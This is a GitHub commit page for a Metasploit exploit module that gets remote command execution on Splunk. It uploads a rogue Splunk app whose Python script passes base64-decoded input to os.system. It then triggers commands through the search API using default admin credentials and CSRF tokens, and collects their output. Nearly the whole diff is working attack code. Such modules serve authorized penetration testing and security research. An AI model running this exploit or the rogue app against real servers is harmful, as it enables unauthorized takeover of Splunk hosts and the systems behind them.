Skip to content

Commit

Permalink
Multiple improvements
Browse files Browse the repository at this point in the history
- Overhauled Splunk app to format and return output
- Converted to non-streaming app to enable output
- Added advanced options for disabling command output,
	forcing upload to overwrite (if you change the app tgz),
	disabling upload if you've already uploaded once
  • Loading branch information
Marc Wickenden committed Nov 13, 2012
1 parent bd1e39d commit 04032a7
Show file tree
Hide file tree
Showing 4 changed files with 75 additions and 16 deletions.
Binary file modified data/exploits/splunk/upload_app_exec.tgz
Binary file not shown.
3 changes: 0 additions & 3 deletions data/exploits/splunk/upload_app_exec/bin/msf_exec.py
@@ -1,13 +1,10 @@
# this page helped A LOT: http://splunk-base.splunk.com/answers/62473/how-to-execute-external-script-to-manipulate-file-from-search-command

import sys
import base64
import splunk.Intersplunk

results = []

try:
results,dummyresults,settings = splunk.Intersplunk.getOrganizedResults()
sys.modules['os'].system(base64.b64decode(sys.argv[1]))

except:
Expand Down
2 changes: 1 addition & 1 deletion data/exploits/splunk/upload_app_exec/default/commands.conf
Expand Up @@ -3,5 +3,5 @@ type = python
filename = msf_exec.py
local = false
enableheader = false
streaming = true
streaming = false
perf_warn_limit = 0
86 changes: 74 additions & 12 deletions modules/exploits/multi/http/splunk_upload_app_exec.rb
Expand Up @@ -5,7 +5,6 @@
# http://metasploit.com/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Expand Down Expand Up @@ -33,6 +32,7 @@ def initialize(info = {})
'References' =>
[
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ],
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-feature-abuse-with-metasploit.html' ],
],
'Payload' =>
{
Expand All @@ -58,19 +58,34 @@ def initialize(info = {})
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
OptString.new('SPLUNK_APP_FILE',
[
true,
'The "rogue" Splunk application tgz',
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
]),
OptString.new('SPLUNK_APP_FILE',
[
true,
'The "rogue" Splunk application tgz',
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
]),
], self.class)

register_advanced_options(
[
OptBool.new('ReturnOutput', [ true, 'Display command output', true ]),
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
], self.class)
end

def exploit
# process standard options
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
file_name = datastore['SPLUNK_APP_FILE']

# process advanced options
return_output = datastore['ReturnOutput']
disable_upload = datastore['DisableUpload']
@enable_overwrite = datastore['EnableOverwrite']

# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
app_name = 'upload_app_exec'
Expand All @@ -84,15 +99,17 @@ def exploit
# fetch the csrf token for use in the upload next
do_get_csrf('/en-US/manager/launcher/apps/local')

# upload the arbitrary command execution Splunk app tgz
do_upload_app(app_name, file_name)
unless disable_upload
# upload the arbitrary command execution Splunk app tgz
do_upload_app(app_name, file_name)
end

# get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")

# call our command execution function with the Splunk 'script' command
print_status("invoking script command")
send_request_cgi(
res = send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
Expand All @@ -104,7 +121,7 @@ def exploit
},
'vars_post' =>
{
'search' => "search irrelevant | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
Expand All @@ -118,7 +135,32 @@ def exploit
'timeFormat' => "%s.%Q"
}
}, 25)
handler

if return_output
res.body.match(/data":\ "([0-9.]+)"/)
job_id = $1

# wait a short time to let the output be produced
select(nil,nil,nil,5)
job_output = fetch_job_output(job_id)
if job_output.body.match(/Waiting for data.../)
print_info("no output returned in time")
else
output = ""
job_output.body.each_line do |line|
# strip off the leading and trailing " added by Splunk
line.gsub!(/^"/,"")
line.gsub!(/"$/,"")
output << line
end

# return the output
print_status("command returned:")
print output
end
else
handler
end
end

def check
Expand Down Expand Up @@ -208,6 +250,13 @@ def do_upload_app(app_name, file_name)
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
data << "#{@csrf_form_key}"
data << "\r\n--#{boundary}\r\n"

if @enable_overwrite
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}\r\n"
end

data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-gzip\r\n\r\n"
data << file_data
Expand Down Expand Up @@ -245,4 +294,17 @@ def do_get_csrf(uri)
@csrf_form_key = $1
fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
end

def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing
print_status("fetching job_output for id #{job_id}")
res = send_request_raw(
{
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
'method' => 'GET',
'cookie' => @auth_cookies,
'encode_param' => 'false'
}, 25)

end
end

0 comments on commit 04032a7

Please sign in to comment.